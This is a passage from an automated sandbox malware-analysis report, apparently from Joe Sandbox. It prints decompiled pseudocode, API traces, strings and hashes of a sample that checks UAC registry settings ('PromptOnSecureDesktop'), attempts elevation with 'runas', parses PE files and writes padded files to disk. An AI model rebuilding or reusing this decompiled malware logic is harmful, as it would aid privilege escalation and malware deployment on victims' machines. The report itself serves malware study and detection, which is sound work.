					}
					_t100 = E00401820(_t168 + 0x54, _t168 + 0x78);
					__eflags = _t100;
					if(_t100 != 0) {
						_push(_t168 - 0x95c);
						_push("runas");
						goto L39;
					}
					_t103 =  *(_t168 + 0x78) | 0x61080000;
					__eflags = _t103;
					 *0x412180 = _t103;
					 *0x41217c =  *(_t168 + 0x54);
					if(_t103 != 0) {
						 *0x412180 = _t103 | _t165;
					}
					L31:
					_t97 = 0;
					goto L42;
				}
				 *(_t168 + 0x4c) = 4;
				 *(_t168 + 0x44) = 5;
				 *(_t168 + 0x48) = 1;
				_t106 = E00402544(0x4122f8,  &E0041084C, 0x3a, 0xe4, 0xc8);
				_t175 = _t173 + 0x14;
				_t107 = RegOpenKeyExA(0x80000002, _t106, 0, 0x101, _t168 + 0x50); // executed
				if(_t107 == 0) {
					_t111 = E00402544(0x4122f8, 0x410830, 0x1b, 0xe4, 0xc8);
					_t176 = _t175 + 0x14;
					_t112 = RegQueryValueExA( *(_t168 + 0x50), _t111, 0, _t168 + 0x54, _t168 + 0x44, _t168 + 0x4c); // executed
					__eflags = _t112;
					if(_t112 == 0) {
						_t116 = E00402544(0x4122f8, 0x410818, 0x16, 0xe4, 0xc8);
						_t176 = _t176 + 0x14;
						_t117 = RegQueryValueExA( *(_t168 + 0x50), _t116, 0, _t168 + 0x54, _t168 + 0x48, _t168 + 0x4c); // executed
						__eflags = _t117;
						if(_t117 != 0) {
							 *(_t168 + 0x78) = 0x3000;
						}
					} else {
						 *(_t168 + 0x78) = 0x2000;
					}
					RegCloseKey( *(_t168 + 0x50));
					_t165 =  *(_t168 + 0x78);
				} else {
					_t165 = 0x1000;
				}
				_t161 = 0;
				if( *(_t168 + 0x44) != 0 ||  *(_t168 + 0x48) != 0) {
					if( *(_t168 + 0x5c) <= _t161) {
						goto L38;
					}
					_t119 =  *(_t168 - 0x4c);
					if( *(_t168 + 0x58) < 0x61 || _t119 < 0x1db0) {
						 *0x41217c = _t119;
						_t167 = _t165 | 0x61080106;
						__eflags = _t167;
						goto L30;
					} else {
						if(E0040F0E4(_t168 - 0x95c, _t168 - 0x195c, 0x800) == 0) {
							 *0x41217c = _t161;
							_t167 = _t165 | 0x61080107;
							L30:
							 *0x412180 = _t167;
							goto L31;
						}
						_t97 = E004018E0(0xc8, _t168 - 0x195c, _t168 + 0x5c, _t168 + 0x78);
						if(_t97 == _t161) {
							_t155 =  *(_t168 + 0x78) | 0x61080000;
							 *0x412180 = _t155;
							 *0x41217c =  *(_t168 + 0x5c);
							if(_t155 != 0) {
								 *0x412180 = _t155 | _t165;
							}
						}
						goto L42;
					}
				} else {
					goto L33;
				}
			}

0x00409326
0x00409327
0x00409330
0x00409339
0x00409348
0x00409358
0x0040935c
0x0040935c
0x0040935c
0x0040934a
0x00409353
0x00409353
0x00409375
0x0040937d
0x0040937f
0x0040937f
0x0040938c
0x00409394
0x004093a2
0x004093d9
0x004093dc
0x004093dd
0x004093e0
0x004093e3
0x004093e6
0x004093e9
0x004093ec
0x0040940c
0x00409412
0x004093a4
0x004093a4
0x004093a5
0x004093a8
0x004093ab
0x004093ae
0x004093b1
0x004093ce
0x004093d4
0x004093d4
0x0040941d
0x00409420
0x00409425
0x0040942c
0x00409441
0x0040945d
0x0040946b
0x0040948d
0x0040949b
0x004094a0
0x004094a0
0x004094a3
0x004094b0
0x004094b3
0x0040962f
0x00409632
0x00409632
0x00409634
0x00409634
0x00409637
0x0040967b
0x00409681
0x00409682
0x00409683
0x00409683
0x0040968a
0x00409690
0x00409692
0x00409692
0x00409692
0x0040969a
0x0040969d
0x0040969d
0x004096a0
0x004096a2
0x004096a9
0x004096a9
0x00409641
0x00409648
0x0040964a
0x00409673
0x00409674
0x00000000
0x00409674
0x00409652
0x00409652
0x00409657
0x0040965c
0x00409662
0x00409666
0x00409666
0x0040962b
0x0040962b
0x00000000
0x0040962b
0x004094ce
0x004094d5
0x004094dc
0x004094e3
0x004094e8
0x004094f1
0x004094f9
0x0040951a
0x0040951f
0x00409526
0x0040952c
0x0040952e
0x00409551
0x00409556
0x0040955d
0x00409563
0x00409565
0x00409567
0x00409567
0x00409530
0x00409530
0x00409530
0x00409571
0x00409577
0x004094fb
0x004094fb
0x004094fb
0x0040957a
0x0040957f
0x0040958d
0x00000000
0x00000000
0x00409597
0x0040959a
0x0040961a
0x0040961f
0x0040961f
0x00000000
0x004095a3
0x004095c0
0x0040960c
0x00409612
0x00409625
0x00409625
0x00000000
0x00409625
0x004095d1
0x004095db
0x004095e7
0x004095ed
0x004095f3
0x004095f9
0x00409601
0x00409601
0x004095f9
0x00000000
0x004095db
0x00000000
0x00000000
0x00000000

APIs

GetVersionExA.KERNEL32(?,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 00409340
GetModuleHandleA.KERNEL32(00000000,?,00000104,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 0040936E
GetModuleFileNameA.KERNEL32(00000000,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 00409375
wsprintfA.USER32 ref: 004093CE
wsprintfA.USER32 ref: 0040940C
wsprintfA.USER32 ref: 0040948D
RegOpenKeyExA.KERNELBASE(80000002,00000000,?,?,00000000,00000101,?), ref: 004094F1
RegQueryValueExA.KERNELBASE(?,00000000,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00409526
RegCloseKey.ADVAPI32(?,?,00000000,?,?,?,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00409571

Strings

runas, xrefs: 00409674
PromptOnSecureDesktop, xrefs: 0040938A, 0040939D, 004093BD, 004093FB, 0040941C, 0040944F, 00409478, 0040949A, 004094CD, 00409519, 00409550

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: wsprintf$Module$CloseFileHandleNameOpenQueryValueVersion
String ID: PromptOnSecureDesktop$runas
API String ID: 3696105349-2220793183
Opcode ID: 4098d49489a1a58f2d44698bc399054650fb9812435130c3968b7db0ab9e05d5
Instruction ID: 7d6f16c0e63263610e399f3f049f45e0da260e43ae629b5557d7a5820381a87a
Opcode Fuzzy Hash: 4098d49489a1a58f2d44698bc399054650fb9812435130c3968b7db0ab9e05d5
Instruction Fuzzy Hash: 51A171B2540208BBEB21DFA1CC45FDF3BACAB44344F104437FA05E6192D7B999848FA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040675C, Relevance: 19.7, APIs: 13, Instructions: 199
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040675C(CHAR* _a4, long* _a8, long _a12) {
				long _v8;
				void* _v12;
				struct _OVERLAPPED* _v16;
				long _v20;
				struct _OVERLAPPED* _v24;
				long _v28;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v60;
				void _v68;
				long _v72;
				void _v132;
				intOrPtr _v320;
				signed int _v360;
				signed int _v374;
				void _v380;
				void* _t85;
				long _t88;
				int _t92;
				long _t93;
				int _t96;
				long _t99;
				long _t102;
				struct _OVERLAPPED* _t103;
				long _t104;
				long _t115;
				long _t120;
				signed int _t143;
				void* _t146;

				_v16 = 0;
				_v8 = 0;
				if(_a12 != 0) {
					SetFileAttributesA(_a4, 0x80);
				}
				_t85 = CreateFileA(_a4, 0x80000000, 3, 0, 3, 0x80, 0); // executed
				_v12 = _t85;
				if(_t85 == 0xffffffff) {
					_v12 = CreateFileA(_a4, 0x80000000, 3, 0, 3, 4, 0);
				}
				if(_a12 != 0) {
					SetFileAttributesA(_a4, 2);
				}
				if(_v12 != 0xffffffff) {
					_t88 = GetFileSize(_v12, 0);
					_v8 = _t88;
					if(_t88 == 0xffffffff || _t88 == 0) {
						L31:
						_v8 = 0;
					} else {
						_a12 = 0;
						_v28 = 0;
						_t92 = ReadFile(_v12,  &_v132, 0x40,  &_a12, 0); // executed
						if(_t92 == 0) {
							goto L31;
						} else {
							_t93 = SetFilePointer(_v12, _v72, 0, 0); // executed
							if(_t93 == 0xffffffff) {
								goto L31;
							} else {
								_t96 = ReadFile(_v12,  &_v380, 0xf8,  &_v28, 0); // executed
								if(_t96 == 0) {
									goto L31;
								} else {
									_t99 = SetFilePointer(_v12, (_v360 & 0x0000ffff) + _v72 + 0x18, 0, 0); // executed
									if(_t99 == 0xffffffff) {
										goto L31;
									} else {
										_v20 = 0;
										_v24 = 0;
										if(0 < _v374) {
											while(1) {
												_t115 = 0x28;
												_a12 = _t115;
												if(ReadFile(_v12,  &_v68, _t115,  &_a12, 0) == 0) {
													break;
												}
												_t143 = _v374 & 0x0000ffff;
												if(_v24 != _t143 - 1) {
													_t120 = _v48 + _v52;
												} else {
													_t120 = (_v320 + _v60 - 0x00000001 &  !(_v320 - 1)) + _v48;
												}
												_a12 = _t120;
												if(_v20 < _t120) {
													_v20 = _t120;
												}
												_v24 = _v24 + 1;
												if(_v24 < _t143) {
													continue;
												} else {
												}
												goto L23;
											}
											_v8 = 0;
										}
										L23:
										if(_v24 >= (_v374 & 0x0000ffff)) {
											_t102 = _v20;
											if(_v8 > _t102) {
												_v8 = _t102;
											}
											_t103 = E0040EBCC(_v8);
											_v16 = _t103;
											if(_t103 == 0) {
												goto L31;
											} else {
												_t104 = SetFilePointer(_v12, 0, 0, 0); // executed
												if(_t104 == 0xffffffff) {
													L30:
													_v8 = 0;
													E0040EC2E(_v16);
													_v16 = 0;
												} else {
													_t146 = _v16;
													if(ReadFile(_v12, _t146, _v8,  &_v20, 0) == 0) {
														goto L30;
													} else {
														 *(((_v374 & 0x0000ffff) - 1) * 0x28 + (_v360 & 0x0000ffff) + _v72 + _t146 + 0x18 + 0x10) =  *((intOrPtr*)(((_v374 & 0x0000ffff) - 1) * 0x28 + (_v360 & 0x0000ffff) + _v72 + _t146 + 0x18 + 8)) + _v320 - 0x00000001 &  !(_v320 - 1);
														_v8 = _v20;
													}
												}
											}
										}
									}
								}
							}
						}
					}
					FindCloseChangeNotification(_v12); // executed
				}
				 *_a8 = _v8;
				return _v16;
			}

0x0040676a
0x0040676d
0x00406778
0x0040677e
0x0040677e
0x0040679a
0x0040679c
0x004067a2
0x004067b2
0x004067b2
0x004067b8
0x004067bf
0x004067bf
0x004067c9
0x004067d3
0x004067d9
0x004067df
0x0040696b
0x0040696b
0x004067ed
0x00406801
0x00406804
0x00406807
0x0040680b
0x00000000
0x00406811
0x0040681f
0x00406824
0x00000000
0x0040682a
0x0040683e
0x00406842
0x00000000
0x00406848
0x0040685c
0x00406861
0x00000000
0x00406867
0x00406869
0x0040686c
0x00406876
0x00406878
0x0040687a
0x00406881
0x0040688f
0x00000000
0x00000000
0x00406891
0x0040689e
0x004068ba
0x004068a0
0x004068b2
0x004068b2
0x004068bd
0x004068c3
0x004068c5
0x004068c5
0x004068c8
0x004068ce
0x00000000
0x00000000
0x004068d0
0x00000000
0x004068ce
0x004068d2
0x004068d2
0x004068d5
0x004068df
0x004068e5
0x004068eb
0x004068ed
0x004068ed
0x004068f3
0x004068f9
0x004068fe
0x00000000
0x00406900
0x00406906
0x0040690b
0x0040695a
0x0040695d
0x00406960
0x00406966
0x0040690d
0x0040690d
0x00406920
0x00000000
0x00406922
0x0040694f
0x00406955
0x00406955
0x00406920
0x0040690b
0x004068fe
0x004068df
0x00406861
0x00406842
0x00406824
0x0040680b
0x00406971
0x00406971
0x0040697f
0x00406986

APIs

SetFileAttributesA.KERNEL32(?,00000080,?,73B743E0,00000000), ref: 0040677E
CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000080,00000000,?,73B743E0,00000000), ref: 0040679A
CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000004,00000000,?,73B743E0,00000000), ref: 004067B0
SetFileAttributesA.KERNEL32(?,00000002,?,73B743E0,00000000), ref: 004067BF
GetFileSize.KERNEL32(000000FF,00000000,?,73B743E0,00000000), ref: 004067D3
ReadFile.KERNELBASE(000000FF,?,00000040,00408244,00000000,?,73B743E0,00000000), ref: 00406807
SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,73B743E0,00000000), ref: 0040681F
ReadFile.KERNELBASE(000000FF,?,000000F8,?,00000000,?,73B743E0,00000000), ref: 0040683E
SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,73B743E0,00000000), ref: 0040685C
ReadFile.KERNEL32(000000FF,?,00000028,00408244,00000000,?,73B743E0,00000000), ref: 0040688B
SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000000,?,73B743E0,00000000), ref: 00406906
ReadFile.KERNEL32(000000FF,004121A8,00000000,00408244,00000000,?,73B743E0,00000000), ref: 0040691C
FindCloseChangeNotification.KERNELBASE(000000FF,?,73B743E0,00000000), ref: 00406971

Part of subcall function 0040EC2E: GetProcessHeap.KERNEL32(00000000,'@,00000000,0040EA27,00000000), ref: 0040EC41
Part of subcall function 0040EC2E: HeapFree.KERNEL32(00000000), ref: 0040EC48

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: File$Read$Pointer$AttributesCreateHeap$ChangeCloseFindFreeNotificationProcessSize
String ID:
API String ID: 1400801100-0
Opcode ID: d05b9ef8185a7d6987771a176bb27021890da5eba797bb42cdabcd388c34deb0
Instruction ID: 23622665348289c9bdc7ba1e7bdf6275147e3319f3664adf7917ee5564634b96
Opcode Fuzzy Hash: d05b9ef8185a7d6987771a176bb27021890da5eba797bb42cdabcd388c34deb0
Instruction Fuzzy Hash: E47109B1D00219EFDB109FA5CC809EEBBB9FB04314F11457AF516B6290E7349EA2DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00406A60, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 106
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406A60(int __edx, CHAR* _a4, intOrPtr _a8, int _a12) {
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				void* _v12;
				long _v16;
				long _v20;
				long _v24;
				intOrPtr _v28;
				long _v32;
				void* _t31;
				int _t42;
				intOrPtr _t43;
				int _t44;
				void* _t53;
				int _t59;
				CHAR* _t68;
				void* _t69;
				int _t73;

				_t59 = __edx;
				_t68 = _a4;
				_t31 = CreateFileA(_t68, 0x40000000, 0, 0, 2, 0x80, 0); // executed
				_v12 = _t31;
				if(_t31 == 0xffffffff) {
					 *0x412180 = 0x61080101;
					 *0x41217c = GetLastError();
					__eflags = 0;
					return 0;
				}
				_v8 =  *_t68;
				_v7 = _t68[1];
				_t63 = _a12;
				_v6 = _t68[2];
				_v5 = 0;
				_t42 = GetDiskFreeSpaceA( &_v8,  &_v20,  &_v24,  &_v16,  &_v32); // executed
				if(_t42 == 0) {
					L10:
					_t43 = E00406987(0x500000, _v12, _a8, _a12, _t63); // executed
					_v28 = _t43;
					if(_t43 != 0) {
						_t44 = FindCloseChangeNotification(_v12); // executed
						__eflags = _t44;
						if(_t44 != 0) {
							L15:
							return _v28;
						}
						 *0x412180 = 0x61080103;
						 *0x41217c = GetLastError();
						CloseHandle(_v12);
						L14:
						DeleteFileA(_t68);
						goto L15;
					}
					 *0x412180 = 0x61080102;
					 *0x41217c = GetLastError();
					CloseHandle(_v12);
					goto L14;
				}
				_t53 = E0040EB0E(_v20 * _v24, 0, _v16, 0);
				_t69 = _t69 + 0x10;
				_t73 = _t59;
				if(_t73 < 0) {
					goto L10;
				}
				if(_t73 > 0 || _t53 > 0x6400000) {
					_t22 = E0040ECA5() % 0x500000 + 0xa00000; // 0xa00000
					_t63 = _t22;
					goto L10;
				} else {
					__eflags = _t59;
					if(__eflags < 0) {
						goto L10;
					}
					if(__eflags > 0) {
						L9:
						_t63 = (E0040ECA5() & 0x001fffff) + 0x300000;
						__eflags = (E0040ECA5() & 0x001fffff) + 0x300000;
						goto L10;
					}
					__eflags = _t53 - 0x3200000;
					if(_t53 <= 0x3200000) {
						goto L10;
					}
					goto L9;
				}
			}

0x00406a60
0x00406a68
0x00406a7d
0x00406a83
0x00406a89
0x00406b8c
0x00406b9c
0x00406ba1
0x00000000
0x00406ba1
0x00406a91
0x00406a97
0x00406a9e
0x00406aa1
0x00406ab8
0x00406abb
0x00406ac3
0x00406b1d
0x00406b27
0x00406b2f
0x00406b34
0x00406b5f
0x00406b61
0x00406b63
0x00406b86
0x00000000
0x00406b89
0x00406b65
0x00406b78
0x00406b7d
0x00406b7f
0x00406b80
0x00000000
0x00406b80
0x00406b36
0x00406b49
0x00406b4e
0x00000000
0x00406b4e
0x00406ad2
0x00406ad7
0x00406ada
0x00406adc
0x00000000
0x00000000
0x00406ade
0x00406af5
0x00406af5
0x00000000
0x00406afd
0x00406afd
0x00406aff
0x00000000
0x00000000
0x00406b01
0x00406b0a
0x00406b17
0x00406b17
0x00000000
0x00406b17
0x00406b03
0x00406b08
0x00000000
0x00000000
0x00000000
0x00406b08

APIs

CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000080,00000000,73BB81D0,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406A7D
GetDiskFreeSpaceA.KERNELBASE(00409E9D,00409A60,?,?,?,PromptOnSecureDesktop,?,?,?,00409A60,?,?,00409E9D), ref: 00406ABB
GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B40
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B4E
FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B5F
GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B6F
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B7D
DeleteFileA.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B80
GetLastError.KERNEL32(?,?,?,00409A60,?,?,00409E9D,?,?,?,?,?,00409E9D,?,00000022,?), ref: 00406B96

Strings

PromptOnSecureDesktop, xrefs: 00406A9D

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: CloseErrorLast$FileHandle$ChangeCreateDeleteDiskFindFreeNotificationSpace
String ID: PromptOnSecureDesktop
API String ID: 1251348514-2980165447
Opcode ID: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction ID: 9406106fe81e47b207fd746d5c11beca6957dd7a726dfd862efddfda91f1d23f
Opcode Fuzzy Hash: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction Fuzzy Hash: 8031EEB2900108BFDF00EFA09D45ADF7F78AF48310F15807AE112F7291D674AAA08F69

Uniqueness

Uniqueness Score: -1.00%

Function 0041B3D0, Relevance: 16.6, APIs: 11, Instructions: 114
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_check_managed_app.LIBCMTD ref: 0041B44C
__heap_init.LIBCMTD ref: 0041B456

Part of subcall function 00428ED0: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0041B45B,00000001), ref: 00428EE6

_fast_error_exit.LIBCMTD ref: 0041B464

Part of subcall function 0041B5B0: ___crtExitProcess.LIBCMTD ref: 0041B5D4

__mtinit.LIBCMTD ref: 0041B46C
_fast_error_exit.LIBCMTD ref: 0041B477
__RTC_Initialize.LIBCMTD ref: 0041B489
___crtGetEnvironmentStringsW.LIBCMTD ref: 0041B4B2
___wsetargv.LIBCMTD ref: 0041B4BC
__wsetenvp.LIBCMTD ref: 0041B4CF
__cinit.LIBCMTD ref: 0041B4E4
__wwincmdln.LIBCMTD ref: 0041B501

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 2562088257-0
Opcode ID: 74631548b10409191158481792a057fa0f3b399029bd2d4e0135ee2f9b5fe3a8
Instruction ID: 4b32b4ebed5efd347201c46382123313cfbf341bee67e2acd74ee633a9bb970e
Opcode Fuzzy Hash: 74631548b10409191158481792a057fa0f3b399029bd2d4e0135ee2f9b5fe3a8
Instruction Fuzzy Hash: 2D41A3B1E00318ABDB10ABB2EC027EE76B5EF0471CF54412EF50597282FB7995408B9A

Uniqueness

Uniqueness Score: -1.00%

Function 0041B445, Relevance: 16.6, APIs: 11, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_check_managed_app.LIBCMTD ref: 0041B44C
__heap_init.LIBCMTD ref: 0041B456

Part of subcall function 00428ED0: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0041B45B,00000001), ref: 00428EE6

_fast_error_exit.LIBCMTD ref: 0041B464

Part of subcall function 0041B5B0: ___crtExitProcess.LIBCMTD ref: 0041B5D4

__mtinit.LIBCMTD ref: 0041B46C
_fast_error_exit.LIBCMTD ref: 0041B477
__RTC_Initialize.LIBCMTD ref: 0041B489
___crtGetEnvironmentStringsW.LIBCMTD ref: 0041B4B2
___wsetargv.LIBCMTD ref: 0041B4BC
__wsetenvp.LIBCMTD ref: 0041B4CF
__cinit.LIBCMTD ref: 0041B4E4
__wwincmdln.LIBCMTD ref: 0041B501

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 2562088257-0
Opcode ID: db6e824e5a28bd6b47188eae6d0aa1ccf3761389de9dd3604d054876c8a7a852
Instruction ID: eb47430cdda567c9a4dba418f8b2871b4f1474e5be688ca929a78003b71b2646
Opcode Fuzzy Hash: db6e824e5a28bd6b47188eae6d0aa1ccf3761389de9dd3604d054876c8a7a852
Instruction Fuzzy Hash: B13177B1E017149AE710BBF2B9027EE7661DF5430CF54402FF5095B283FB799544CA9A

Uniqueness

Uniqueness Score: -1.00%

Function 022B003C, Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 022B024D

Strings

kernel32.dll, xrefs: 022B008F, 022B0095
cess, xrefs: 022B018D

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: 181f7810fc91f9a1106d3d3f8b4b1011123c08d2d184d97abe1b5feda4512752
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: 3B527A74A10229DFDB65CFA8C984BADBBB1BF09304F1480D9E54DAB355DB30AA84DF14

Uniqueness

Uniqueness Score: -1.00%

Function 004099D2, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E004099D2(int __edx, void* __eflags, CHAR* _a4, CHAR* _a8, CHAR* _a12, intOrPtr _a16, int _a20) {
				signed int _t14;
				void* _t21;
				CHAR* _t22;
				void* _t24;
				int _t25;

				_t25 = __edx;
				_t22 = _a8;
				lstrcpyA(_t22, _a4);
				E00408274(_t22);
				_push(0);
				_push(_a12);
				_t14 = E00406C6F((E0040ECA5() & 0x0000000f) << 0x00000014 | 0x00006108);
				_pop(_t24);
				_push(_t14 ^ 0x61616161);
				E0040F133();
				lstrcatA(_a12, E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8));
				E0040EE2A(_t24, 0x4122f8, 0, 0x100);
				lstrcatA(_t22, _a12);
				_t21 = E00406A60(_t25, _t22, _a16, _a20); // executed
				return _t21;
			}

0x004099d2
0x004099d6
0x004099df
0x004099e6
0x004099ec
0x004099ee
0x00409a02
0x00409a07
0x00409a0d
0x00409a0e
0x00409a3c
0x00409a46
0x00409a52
0x00409a5b
0x00409a67

APIs

lstrcpyA.KERNEL32(?,?,00000100,PromptOnSecureDesktop,00000000,?,00409E9D,?,00000022,?,?,?,?,?,?,?), ref: 004099DF
lstrcatA.KERNEL32(00000022,00000000,?,?,00409E9D,?,00000022,?,?,?,?,?,?,?,000001F4), ref: 00409A3C
lstrcatA.KERNEL32(?,00000022,?,?,?,?,?,00409E9D,?,00000022,?,?,?), ref: 00409A52

Part of subcall function 00406A60: CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000080,00000000,73BB81D0,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406A7D
Part of subcall function 00406A60: GetDiskFreeSpaceA.KERNELBASE(00409E9D,00409A60,?,?,?,PromptOnSecureDesktop,?,?,?,00409A60,?,?,00409E9D), ref: 00406ABB
Part of subcall function 00406A60: GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B40
Part of subcall function 00406A60: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B4E
Part of subcall function 00406A60: DeleteFileA.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B80

Strings

PromptOnSecureDesktop, xrefs: 004099D9, 00409A24, 00409A29, 00409A45

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: Filelstrcat$CloseCreateDeleteDiskErrorFreeHandleLastSpacelstrcpy
String ID: PromptOnSecureDesktop
API String ID: 4131120076-2980165447
Opcode ID: cb8d8b12221011c2ecefbb9c2a5bdb301364e629a1ff96e5c87c413b5c368032
Instruction ID: 3080a8c352511dab3afe6aac1e5f9bdd01cc5e55c8c8f00722b444f0ba2a7742
Opcode Fuzzy Hash: cb8d8b12221011c2ecefbb9c2a5bdb301364e629a1ff96e5c87c413b5c368032
Instruction Fuzzy Hash: D6018F7294020877EE106F62AC47F9F3E1DEB54718F04883AF619790D2D9BA94709A6C

Uniqueness

Uniqueness Score: -1.00%

Function 00404000, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
sleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00404000(CHAR* _a4, signed int* _a8) {
				void* _t3;
				long _t6;
				void* _t8;
				signed int* _t9;

				_t9 = _a8;
				_t8 = 0;
				 *_t9 =  *_t9 | 0xffffffff;
				while(1) {
					_t3 = CreateFileA(_a4, 0xc0000000, 3, 0, 3, 0x40000080, 0); // executed
					if(_t3 != 0xffffffff) {
						break;
					}
					_t6 = GetLastError();
					if(_t6 == 2 || _t6 == 3) {
						L6:
						return 0;
					} else {
						if(_t6 == 5) {
							L9:
							return 1;
						}
						Sleep(0x1f4);
						_t8 = _t8 + 1;
						if(_t8 < 0xa) {
							continue;
						}
						goto L6;
					}
				}
				 *_t9 = _t3;
				goto L9;
			}

0x00404001
0x00404006
0x00404008
0x0040400b
0x00404021
0x0040402a
0x00000000
0x00000000
0x0040402c
0x00404035
0x00404052
0x00000000
0x0040403c
0x0040403f
0x00404059
0x00000000
0x0040405b
0x00404046
0x0040404c
0x00404050
0x00000000
0x00000000
0x00000000
0x00404050
0x00404035
0x00404057
0x00000000

APIs

CreateFileA.KERNELBASE(40000080,C0000000,00000003,00000000,00000003,40000080,00000000,00000001,PromptOnSecureDesktop,004042B6,00000000,00000001,PromptOnSecureDesktop,00000000,?,004098FD), ref: 00404021
GetLastError.KERNEL32(?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 0040402C
Sleep.KERNEL32(000001F4,?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 00404046

Strings

PromptOnSecureDesktop, xrefs: 00404000

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: CreateErrorFileLastSleep
String ID: PromptOnSecureDesktop
API String ID: 408151869-2980165447
Opcode ID: 6f680220710ad79833a0587a74a8d4d803d4b32c880204d479e51cf724750932
